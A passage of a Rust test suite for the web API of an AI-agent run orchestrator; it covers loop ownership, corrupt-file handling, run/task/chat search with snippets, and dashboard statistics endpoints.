18534 let view = f.get("/api/loop").await.json();
18535 assert_eq!(view["running"], false, "not in this process: {view}");
18536 assert_eq!(view["owned"], false, "and not this process's to control");
18537 assert_eq!(
18538 view["daemon"]["running"], true,
18539 "but a loop is alive somewhere, which is what the UI must say"
18540 );
18541 assert_eq!(view["daemon"]["pid"], 4242);
18542
18543 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18544 let res = f.post("/api/loop", Some(body)).await;
18545 assert_eq!(
18546 res.status, 409,
18547 "neither button may pretend to work on someone else's loop: {}",
18548 res.body
18549 );
18550 assert!(
18551 res.json()["error"]
18552 .as_str()
18553 .is_some_and(|e| e.contains("4242")),
18554 "the refusal has to name the process the operator must go to: {}",
18555 res.body
18556 );
18557 }
18558 assert_eq!(
18559 f.get("/api/loop").await.json()["running"],
18560 false,
18561 "and the refusal started nothing"
18562 );
18563 }
18564
18565 #[tokio::test]
18566 async fn a_stale_status_file_is_not_a_foreign_owner() {
18567 let f = Fixture::start().await;
18568 write_daemon(
18569 f.home.path(),
18570 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18571 );
18572
18573 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18574 assert_eq!(
18575 res.status, 200,
18576 "a daemon killed a minute ago must not lock the loop out of its \
18577 own home for good: {}",
18578 res.body
18579 );
18580 assert_eq!(res.json()["running"], true);
18581
18582 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18583 }
18584
18585 #[tokio::test]
18586 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18587 let f = Fixture::start().await;
18588 let before = f.get("/api/health").await.json()["loop_rev"]
18589 .as_u64()
18590 .expect("a loop revision");
18591
18592 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18593
18594 let after = f.get("/api/health").await.json()["loop_rev"]
18595 .as_u64()
18596 .expect("a loop revision");
18597 assert!(
18598 after > before,
18599 "the loop is in-process state, so this counter is the only thing \
18600 that tells a second device the first one started it: {before} -> \
18601 {after}"
18602 );
18603
18604 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18605 }
18606
18607 #[tokio::test]
18608 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18609 let f = Fixture::with_loop(launch_broken).await;
18610
18611 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18612 assert_eq!(
18613 res.status, 200,
18614 "starting it is not the failure: {}",
18615 res.body
18616 );
18617
18618 let view = settled(&f, |v| v["last_error"].is_string()).await;
18619 assert_eq!(
18620 view["running"], false,
18621 "a loop that died must not read as running, or the operator has \
18622 nothing to press: {view}"
18623 );
18624 assert_eq!(view["owned"], false);
18625 assert!(
18626 view["last_error"]
18627 .as_str()
18628 .is_some_and(|e| e.contains("read-only file system")),
18629 "the phone is where a loop that died at 3am is visible: {view}"
18630 );
18631
18632 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18635 assert_eq!(again.status, 200, "{}", again.body);
18636 assert!(
18637 again.json()["last_error"]
18638 .as_str()
18639 .is_none_or(|e| !e.contains("read-only file system")),
18640 "a fresh start does not keep showing why the last one died: {}",
18641 again.body
18642 );
18643 }
18644
18645 #[tokio::test]
18646 async fn a_newer_daemon_status_file_still_renders() {
18647 let f = Fixture::start().await;
18648 std::fs::write(
18651 f.home.path().join("daemon.json"),
18652 serde_json::json!({
18653 "schema": 2,
18654 "updated_at": Timestamp::now().to_string(),
18655 "idle": true,
18656 "surprise": { "nested": [1, 2, 3] },
18657 })
18658 .to_string(),
18659 )
18660 .expect("write daemon.json");
18661
18662 let health = f.get("/api/health").await;
18663
18664 assert_eq!(health.status, 200);
18665 assert_eq!(health.json()["daemon"]["running"], true);
18666 }
18667
18668 #[tokio::test]
18669 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18670 let f = Fixture::start().await;
18671 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18672 let broken = f.runs().join("20260902-140502-bad");
18673 std::fs::create_dir_all(&broken).expect("run dir");
18674 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18675
18676 let list = f.get("/api/runs").await;
18677 let detail = f.get("/api/runs/20260902-140502-bad").await;
18678
18679 assert_eq!(list.status, 200);
18680 let listed = list.json();
18681 let ids: Vec<&str> = listed
18682 .as_array()
18683 .expect("an array")
18684 .iter()
18685 .map(|r| r["id"].as_str().expect("an id"))
18686 .collect();
18687 assert_eq!(
18688 ids,
18689 vec!["20260902-140501-good"],
18690 "one unreadable run must not cost the operator the whole history"
18691 );
18692 assert_eq!(detail.status, 500);
18693 assert!(
18694 detail.json()["error"]
18695 .as_str()
18696 .is_some_and(|e| e.contains("run.json")),
18697 "the failure names the file to look at: {}",
18698 detail.body
18699 );
18700 let health = f.get("/api/health").await;
18704 assert_eq!(health.json()["runs_unreadable"], 1);
18705 }
18706
18707 #[tokio::test]
18709 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18710 let f = Fixture::start().await;
18711 let runs = f.runs();
18712 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18713 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18714 let path = runs.join("20260902-140502-bbbb").join("run.json");
18717 let mut v: serde_json::Value =
18718 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18719 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18720 std::fs::write(&path, v.to_string()).unwrap();
18721 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18722 std::fs::write(
18723 runs.join("20260902-140503-cccc").join("run.json"),
18724 "{ not json",
18725 )
18726 .unwrap();
18727
18728 let res = f.get("/api/search?scope=runs&q=quokka").await;
18729 assert_eq!(res.status, 200, "{}", res.body);
18730 let v = res.json();
18731 assert_eq!(v["total"], 1, "{v}");
18732 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18733 assert_eq!(v["hits"][0]["field"], "text");
18734 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18735 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18736 assert!(
18737 parts
18738 .iter()
18739 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18740 "{v}"
18741 );
18742 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18743 assert_eq!(
18744 flat, "The Quokka leaks across threads",
18745 "whitespace is collapsed"
18746 );
18747
18748 let both = f
18750 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18751 .await
18752 .json();
18753 assert_eq!(both["total"], 1, "{both}");
18754 let neither = f
18755 .get("/api/search?scope=runs&q=quokka%20zebra")
18756 .await
18757 .json();
18758 assert_eq!(neither["total"], 0, "{neither}");
18759 let stmt = f
18761 .get("/api/search?scope=runs&q=mobile%20first")
18762 .await
18763 .json();
18764 assert_eq!(stmt["total"], 2, "{stmt}");
18765 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18766 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18767 }
18768
18769 #[test]
18770 fn snippet_ignores_terms_longer_than_the_field() {
18771 let terms = ["ok".to_owned(), "elephant".to_owned()];
18772 let parts = snippet_of("ok", &terms);
18773 assert_eq!(
18774 parts,
18775 vec![SnippetPart {
18776 text: "ok".to_owned(),
18777 hit: true
18778 }]
18779 );
18780 }
18781
18782 #[test]
18783 fn snippet_marks_matches_longer_than_the_window() {
18784 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18785 let hit_len = |parts: &[SnippetPart]| -> usize {
18786 parts
18787 .iter()
18788 .filter(|p| p.hit)
18789 .map(|p| p.text.chars().count())
18790 .sum()
18791 };
18792 let total =
18793 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18794
18795 let long = "a".repeat(120);
18796 let parts = snippet_of(&long, std::slice::from_ref(&long));
18797 assert!(hit_len(&parts) > 0, "{parts:?}");
18798 assert!(total(&parts) <= cap);
18799
18800 let ja = "あ".repeat(130);
18801 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18802 assert!(hit_len(&parts) > 0, "{parts:?}");
18803 assert!(total(&parts) <= cap);
18804
18805 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18807 let term = format!("ab{}", "c".repeat(100));
18808 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18809 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18810 assert!(total(&parts) <= cap);
18811
18812 let text = format!("{}z", "a".repeat(119));
18814 let parts = snippet_of(&text, &["a".repeat(120)]);
18815 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18816 }
18817
18818 #[tokio::test]
18819 async fn search_caps_hits_and_snippet_length() {
18820 let f = Fixture::start().await;
18821 let runs = f.runs();
18822 for n in 0..(SEARCH_MAX_HITS + 5) {
18823 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18824 }
18825 let v = f.get("/api/search?scope=runs&q=web").await.json();
18826 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18827 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18828 assert_eq!(v["truncated"], true);
18829 assert!(
18831 v["hits"]
18832 .as_array()
18833 .unwrap()
18834 .iter()
18835 .all(|h| h["run"]["status"] == "merged")
18836 );
18837
18838 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18839 let parts = snippet_of(&long, &["needle".to_owned()]);
18840 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18841 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18842 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18843 }
18844
18845 #[tokio::test]
18846 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18847 let f = Fixture::start().await;
18848 let queue = f.queue();
18849 let mut t = Task::new(
18850 "short title".to_owned(),
18851 "line one\nthe hidden Armadillo detail".to_owned(),
18852 PathBuf::from("/repo/magi"),
18853 Source::Agent {
18854 run: "r1".to_owned(),
18855 node: "chat".to_owned(),
18856 },
18857 );
18858 t.last_error = Some("disk full on /tmp".to_owned());
18859 queue.put(&mut t).expect("file the task");
18860
18861 for (q, want) in [
18862 ("armadillo", 1),
18863 ("disk%20FULL", 1),
18864 ("chat", 1),
18865 ("queued", 1),
18866 ("short%20nothing", 0),
18867 ] {
18868 let v = f
18869 .get(&format!("/api/search?scope=tasks&q={q}"))
18870 .await
18871 .json();
18872 assert_eq!(v["total"], want, "{q}: {v}");
18873 }
18874 for bad in [
18875 "/api/search?scope=tasks&q=",
18876 "/api/search?scope=tasks&q=%20",
18877 "/api/search?scope=chats&q=",
18878 "/api/search?scope=chats&q=%20",
18879 "/api/search?scope=nope&q=a",
18880 "/api/search?q=a",
18881 ] {
18882 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18883 }
18884 }
18885
18886 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18888 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18889 .expect("seat value");
18890 let turns: Vec<serde_json::Value> = turns
18891 .iter()
18892 .map(|(who, body)| {
18893 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18894 })
18895 .collect();
18896 let doc = serde_json::json!({
18897 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18898 "status": status, "turns": turns,
18899 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18900 "seat": seat,
18901 });
18902 let dir = f.home.path().join("talks");
18903 std::fs::create_dir_all(&dir).expect("talks dir");
18904 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18905 }
18906
18907 #[test]
18908 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18909 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18910 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18911 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18912 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18913 "seat": crate::agent::SeatState::new("talk", "test", 1)
18914 })).unwrap();
18915 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18916 talk.title = Some(talk::ChatTitle {
18917 text: "最近の話題".into(),
18918 source: talk::TitleSource::Generated,
18919 });
18920 let doc = talk_search_doc(&talk);
18921 assert_eq!(doc["title"], "最近の話題");
18922 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18923 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18924 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18925 }
18926
18927 #[tokio::test]
18928 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18929 let f = Fixture::start().await;
18930 write_talk(
18931 &f,
18932 "20260901-000001-aaaa",
18933 "open",
18934 &[
18935 (
18936 "operator",
18937 "\n Why does the Pangolin cache expire?\nsecond line",
18938 ),
18939 ("agent", "Because the TTL is thirty seconds."),
18940 ],
18941 );
18942 write_talk(
18943 &f,
18944 "20260901-000002-bbbb",
18945 "closed",
18946 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18947 );
18948 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18949
18950 let search = |q: &'static str| {
18951 let f = &f;
18952 async move {
18953 f.get(&format!("/api/search?scope=chats&q={q}"))
18954 .await
18955 .json()
18956 }
18957 };
18958
18959 let v = search("PANGOLIN").await;
18960 assert_eq!(v["scope"], "chats");
18961 assert_eq!(v["total"], 1, "{v}");
18962 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18963 assert_eq!(v["hits"][0]["field"], "title");
18964 assert_eq!(v["unreadable"], 1, "{v}");
18965 let marked: Vec<&str> = v["hits"][0]["snippet"]
18966 .as_array()
18967 .unwrap()
18968 .iter()
18969 .filter(|p| p["hit"] == true)
18970 .map(|p| p["text"].as_str().unwrap())
18971 .collect();
18972 assert_eq!(marked, ["Pangolin"]);
18973
18974 let v = search("zebra").await;
18976 assert_eq!(v["total"], 1, "{v}");
18977 assert_eq!(v["hits"][0]["field"], "agent");
18978 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18980 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18981 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18983 assert_eq!(search(q).await["total"], 0, "{q}");
18984 }
18985 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18987 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18989
18990 let v = f.get("/api/search?scope=nope&q=a").await;
18991 assert_eq!(v.status, 400);
18992 assert!(
18993 v.body.contains("scope must be runs, tasks or chats"),
18994 "{}",
18995 v.body
18996 );
18997 }
18998
18999 #[test]
19000 fn a_question_card_links_a_task_id_to_the_task_page() {
19001 let start = APP_JS
19002 .find("function updateAskCard(")
19003 .expect("updateAskCard exists");
19004 let body = &APP_JS[start..];
19005 let body = &body[..body.find("\n}\n").expect("function end")];
19006 assert!(body.contains("question.run_is_task"));
19007 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19008 assert!(body.contains("`#/runs/${question.run}`"));
19009 assert!(body.contains("\"task\" : \"run\""));
19010 }
19011
19012 #[test]
19013 fn plain_text_message_surfaces_go_through_linkify() {
19014 assert!(APP_JS.contains("function linkify("));
19015 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19016 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19017 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19018 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19019 assert!(!APP_JS.contains("innerHTML = text"));
19020 }
19021
19022 #[test]
19023 fn implementation_rate_views_keep_independent_samples() {
19024 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19025 let a = stats::AgentStats {
19026 competitive_entered: competitive_n,
19027 competitive_wins: usize::from(competitive_n > 0),
19028 solo_entered: solo_n,
19029 solo_adopted: 2 * usize::from(solo_n > 0),
19030 ..Default::default()
19031 };
19032 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19033 for (key, n, numerator) in [
19034 ("competitive_win_rate", competitive_n, a.competitive_wins),
19035 ("solo_adoption_rate", solo_n, a.solo_adopted),
19036 ] {
19037 if n == 0 {
19038 assert!(v[key].is_null());
19039 } else {
19040 assert_eq!(v[key]["denominator"], n);
19041 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19042 }
19043 }
19044 }
19045 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19046 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19047 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19048 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19049 }
19050
19051 #[test]
19052 fn stats_bars_share_one_id_keyed_plan() {
19053 let start = APP_JS
19054 .find("function statsBarRows(")
19055 .expect("statsBarRows exists");
19056 let body = &APP_JS[start..];
19057 let body = &body[..body.find("\n}\n").expect("function end")];
19058 assert!(body.contains("statsBarPlan(rows)"));
19059 assert!(body.contains("statsAgentTone(row.agent)"));
19060 assert!(!body.contains("candTone(i)"));
19061 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19062 for root in [
19063 "stats-agents-bars",
19064 "stats-solo-bars",
19065 "stats-reviewers-bars",
19066 ] {
19067 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19068 }
19069 }
19070
19071 #[test]
19072 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19073 let start = APP_JS
19074 .find("function renderStatsReviewerScatter(")
19075 .expect("renderStatsReviewerScatter exists");
19076 let body = &APP_JS[start..];
19077 let body = &body[..body.find("\n}\n").expect("function end")];
19078 assert!(body.contains("statsScatterPlan(reviewers)"));
19079 assert!(body.contains("statsAgentTone(d.agent)"));
19080 assert!(APP_JS.contains("function statsScatterPlan("));
19081 assert!(
19082 APP_JS.contains("d.submitted < STATS_LOW_N")
19083 || APP_JS.contains("r.submitted < STATS_LOW_N")
19084 );
19085 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19086 assert!(APP_CSS.contains(".precision-scatter"));
19087 }
19088
19089 #[test]
19090 fn advisor_reflection_is_drawn_as_stacked_segments() {
19091 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19092 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19093 let html = include_str!("../assets/ui/index.html");
19094 assert!(html.contains("Approximate"));
19095 for label in ["reflected strongly", "faint", "no proposal"] {
19096 assert!(html.contains(label));
19097 }
19098 let css = include_str!("../assets/ui/app.css");
19099 for c in ["refl-strong", "refl-faint", "refl-absent"] {
19100 assert!(css.contains(&format!(".{c} {{")));
19101 }
19102 }
19103
19104 #[test]
19105 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19106 assert!(APP_JS.contains("function statsDailyPlan("));
19107 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19108 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19109 }
19110
19111 #[test]
19112 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19113 let start = APP_JS
19114 .find("function scheduleSearch(")
19115 .expect("scheduleSearch exists");
19116 let body = &APP_JS[start..];
19117 let body = &body[..body.find("\n}\n").expect("function end")];
19118 assert!(body.contains("s.seq += 1"));
19119 }
19120
19121 #[tokio::test]
19126 async fn stats_runs_unreadable_matches_health() {
19127 let f = Fixture::start().await;
19128 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19129 let broken = f.runs().join("20260902-140502-bad");
19130 std::fs::create_dir_all(&broken).expect("run dir");
19131 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19132
19133 let stats = f.get("/api/stats").await;
19134 let health = f.get("/api/health").await;
19135
19136 assert_eq!(stats.status, 200);
19137 assert_eq!(stats.json()["totals"]["runs"], 1);
19138 assert_eq!(stats.json()["runs_unreadable"], 1);
19139 assert_eq!(
19140 stats.json()["runs_unreadable"],
19141 health.json()["runs_unreadable"],
19142 "the dashboard and /api/health must never disagree about how many \
19143 runs could not be read"
19144 );
19145 }
19146
19147 #[tokio::test]
19148 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19149 let f = Fixture::start().await;
19150 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19151 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19152 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19153
19154 let totals = &f.get("/api/stats").await.json()["totals"];
19155 assert_eq!(totals["runs"], 3);
19156 assert_eq!(totals["merged"], 1);
19157 assert_eq!(totals["stalled"], 1);
19158 assert_eq!(totals["in_progress"], 1);
19159 assert_eq!(totals["blocked"], 0);
19162 assert_eq!(totals["ready"], 0);
19163 }
19164
19165 #[tokio::test]
19166 async fn stats_advisors_report_proposals_and_reflection() {
19167 use crate::advise::{Advice, AdvisorRecord, Reflection};
19168 use crate::verdict::Proposal;
19169
19170 let f = Fixture::start().await;
19171 let mut state = RunState::new(
19172 PathBuf::from("/repo/magi"),
19173 "main".to_owned(),
19174 "0123456789abcdef".to_owned(),
19175 "task".to_owned(),
19176 Config::default(),
19177 );
19178 state.id = "20260902-140501-a".to_owned();
19179 state.status = RunStatus::Merged;
19180 state.advice = Some(Advice {
19181 records: vec![
19182 AdvisorRecord {
19183 seat: "advisor-1".to_owned(),
19184 agent: "alpha".to_owned(),
19185 proposal: Some(Proposal {
19186 approach: "do it".to_owned(),
19187 key_tradeoff: "speed over memory".to_owned(),
19188 risks: Vec::new(),
19189 touches: Vec::new(),
19190 why_not_naive: "breaks under load".to_owned(),
19191 }),
19192 error: None,
19193 duration_ms: 0,
19194 reflection: Reflection::Strong,
19195 },
19196 AdvisorRecord {
19197 seat: "advisor-2".to_owned(),
19198 agent: "alpha".to_owned(),
19199 proposal: None,
19200 error: Some("timed out".to_owned()),
19201 duration_ms: 0,
19202 reflection: Reflection::Absent,
19203 },
19204 ],
19205 synthesis: Some("blended brief".to_owned()),
19206 });
19207 let dir = f.runs().join(&state.id);
19208 std::fs::create_dir_all(&dir).expect("run dir");
19209 std::fs::write(
19210 dir.join("run.json"),
19211 serde_json::to_string_pretty(&state).expect("serialize run"),
19212 )
19213 .expect("write run.json");
19214
19215 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19217 let alpha = advisors
19218 .as_array()
19219 .expect("an array")
19220 .iter()
19221 .find(|a| a["agent"] == "alpha")
19222 .expect("alpha row");
19223 assert_eq!(alpha["seated"], 2);
19224 assert_eq!(alpha["proposed"], 1);
19225 assert_eq!(alpha["absent"], 1);
19226 assert_eq!(alpha["strong"], 1);
19227 assert_eq!(alpha["faint"], 0);
19228 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19229 }
19230
19231 #[tokio::test]
19232 async fn stats_hides_agents_outside_the_roster_unless_all() {
19233 use crate::run::Candidate;
19234 let repo = TempDir::new().expect("repo dir");
19235 std::fs::write(
19236 repo.path().join("magi.toml"),
19237 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19238 )
19239 .expect("magi.toml");
19240 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19241 let mut state = RunState::new(
19242 PathBuf::from("/repo/magi"),
19243 "main".to_owned(),
19244 "0123456789abcdef".to_owned(),
19245 "task".to_owned(),
19246 Config::default(),
19247 );
19248 state.id = "20260902-140501-a".to_owned();
19249 state.status = RunStatus::Merged;
19250 for (label, agent) in [('A', "keep"), ('B', "retired")] {
19251 let mut c: Candidate = serde_json::from_value(serde_json::json!({
19252 "index": 0, "label": label.to_string(), "agent": agent,
19253 "branch": "b", "worktree": "/w",
19254 }))
19255 .expect("candidate");
19256 c.label = label;
19257 state.candidates.push(c);
19258 }
19259 let dir = f.runs().join(&state.id);
19260 std::fs::create_dir_all(&dir).expect("run dir");
19261 std::fs::write(
19262 dir.join("run.json"),
19263 serde_json::to_string_pretty(&state).expect("serialize run"),
19264 )
19265 .expect("write run.json");
19266
19267 let agents_of = |v: &serde_json::Value| -> Vec<String> {
19268 v["agents"]
19269 .as_array()
19270 .expect("array")
19271 .iter()
19272 .map(|a| a["agent"].as_str().unwrap().to_owned())
19273 .collect()
19274 };
19275 let hidden = f.get("/api/stats").await.json();
19276 assert_eq!(agents_of(&hidden), ["keep"]);
19277 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19278 assert_eq!(hidden["totals"]["runs"], 1);
19279
19280 let all = f.get("/api/stats?all=true").await.json();
19281 assert_eq!(agents_of(&all).len(), 2);
19282 assert_eq!(all["retired_hidden"], serde_json::json!([]));
19283 let keep_agent = all["agents"]
19285 .as_array()
19286 .unwrap()
19287 .iter()
19288 .find(|a| a["agent"] == "keep")
19289 .unwrap();
19290 assert_eq!(keep_agent["competitive_entered"], 1);
19291 assert_eq!(keep_agent["competitive_wins"], 0);
19292 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19293 assert_eq!(keep_agent["solo_entered"], 0);
19294 assert_eq!(keep_agent["solo_adopted"], 0);
19295 assert!(keep_agent["solo_adoption_rate"].is_null());
19296 }
19297
19298 #[tokio::test]
19299 async fn stats_release_bumps_split_clean_from_attention() {
19300 use crate::run::ReleaseBump;
19301
19302 let f = Fixture::start().await;
19303
19304 let mut clean = RunState::new(
19305 PathBuf::from("/repo/magi"),
19306 "main".to_owned(),
19307 "0123456789abcdef".to_owned(),
19308 "task".to_owned(),
19309 Config::default(),
19310 );
19311 clean.id = "20260902-140501-a".to_owned();
19312 clean.status = RunStatus::Merged;
19313 clean.release_bump = Some(ReleaseBump {
19314 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19315 version: Some("1.0.0".to_owned()),
19316 automerge_enabled: true,
19317 merged_directly: false,
19318 local: false,
19319 release: None,
19320 problem: None,
19321 action_required: None,
19322 skipped: None,
19323 });
19324
19325 let mut blocked = RunState::new(
19326 PathBuf::from("/repo/magi"),
19327 "main".to_owned(),
19328 "0123456789abcdef".to_owned(),
19329 "task".to_owned(),
19330 Config::default(),
19331 );
19332 blocked.id = "20260902-140502-b".to_owned();
19333 blocked.status = RunStatus::Merged;
19334 blocked.release_bump = Some(ReleaseBump {
19335 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19336 version: Some("1.0.1".to_owned()),
19337 automerge_enabled: false,
19338 merged_directly: false,
19339 local: false,
19340 release: None,
19341 problem: Some("checks red".to_owned()),
19342 action_required: Some("look at the PR".to_owned()),
19343 skipped: None,
19344 });
19345
19346 for state in [&clean, &blocked] {
19347 let dir = f.runs().join(&state.id);
19348 std::fs::create_dir_all(&dir).expect("run dir");
19349 std::fs::write(
19350 dir.join("run.json"),
19351 serde_json::to_string_pretty(state).expect("serialize run"),
19352 )
19353 .expect("write run.json");
19354 }
19355
19356 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19357 assert_eq!(bumps["merged"], 2);
19358 assert_eq!(bumps["recorded"], 2);
19359 assert_eq!(bumps["pr_opened"], 2);
19360 assert_eq!(bumps["automerge_enabled"], 1);
19361 assert_eq!(bumps["needs_attention"], 1);
19362 assert_eq!(bumps["clean"], 1);
19363 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19364 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19365 }
19366
19367 #[tokio::test]
19368 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19369 let f = Fixture::start().await;
19370 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19371
19372 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19373 assert_eq!(bumps["merged"], 1);
19374 assert_eq!(bumps["recorded"], 0);
19375 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19378 assert_eq!(bumps["automerge_rate"], Value::Null);
19381 assert_eq!(bumps["attention_rate"], Value::Null);
19382 }
19383
19384 #[tokio::test]
19385 async fn stats_queue_counts_come_from_the_live_queue() {
19386 let f = Fixture::start().await;
19387 let q = f.queue();
19388 let mut queued = Task::new(
19389 "queued task".to_owned(),
19390 "do it".to_owned(),
19391 PathBuf::from("/repo"),
19392 Source::Human,
19393 );
19394 q.put(&mut queued).expect("put queued");
19395 let mut held = Task::new(
19396 "held task".to_owned(),
19397 "do it later".to_owned(),
19398 PathBuf::from("/repo"),
19399 Source::Human,
19400 );
19401 held.hold_machine(Some("out of attempts".to_owned()));
19402 q.put(&mut held).expect("put held");
19403
19404 let queue = f.get("/api/stats").await.json()["queue"].clone();
19405 assert_eq!(queue["queued"], 1);
19406 assert_eq!(queue["held"], 1);
19407 assert_eq!(queue["running"], 0);
19408 assert_eq!(queue["done"], 0);
19409 assert_eq!(queue["failed"], 0);
19410 assert_eq!(queue["blocked"], 0);
19411 }
19412
19413 #[tokio::test]
19414 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19415 let f = Fixture::start().await;
19416 let stats = f.get("/api/stats").await;
19417 assert_eq!(stats.status, 200);
19418 assert_eq!(stats.json()["totals"]["runs"], 0);
19419 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19420 assert_eq!(stats.json()["runs_unreadable"], 0);
19421 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19422 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19423 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19424 assert_eq!(stats.json()["repo"], Value::Null);
19425 }
19426
19427 #[tokio::test]
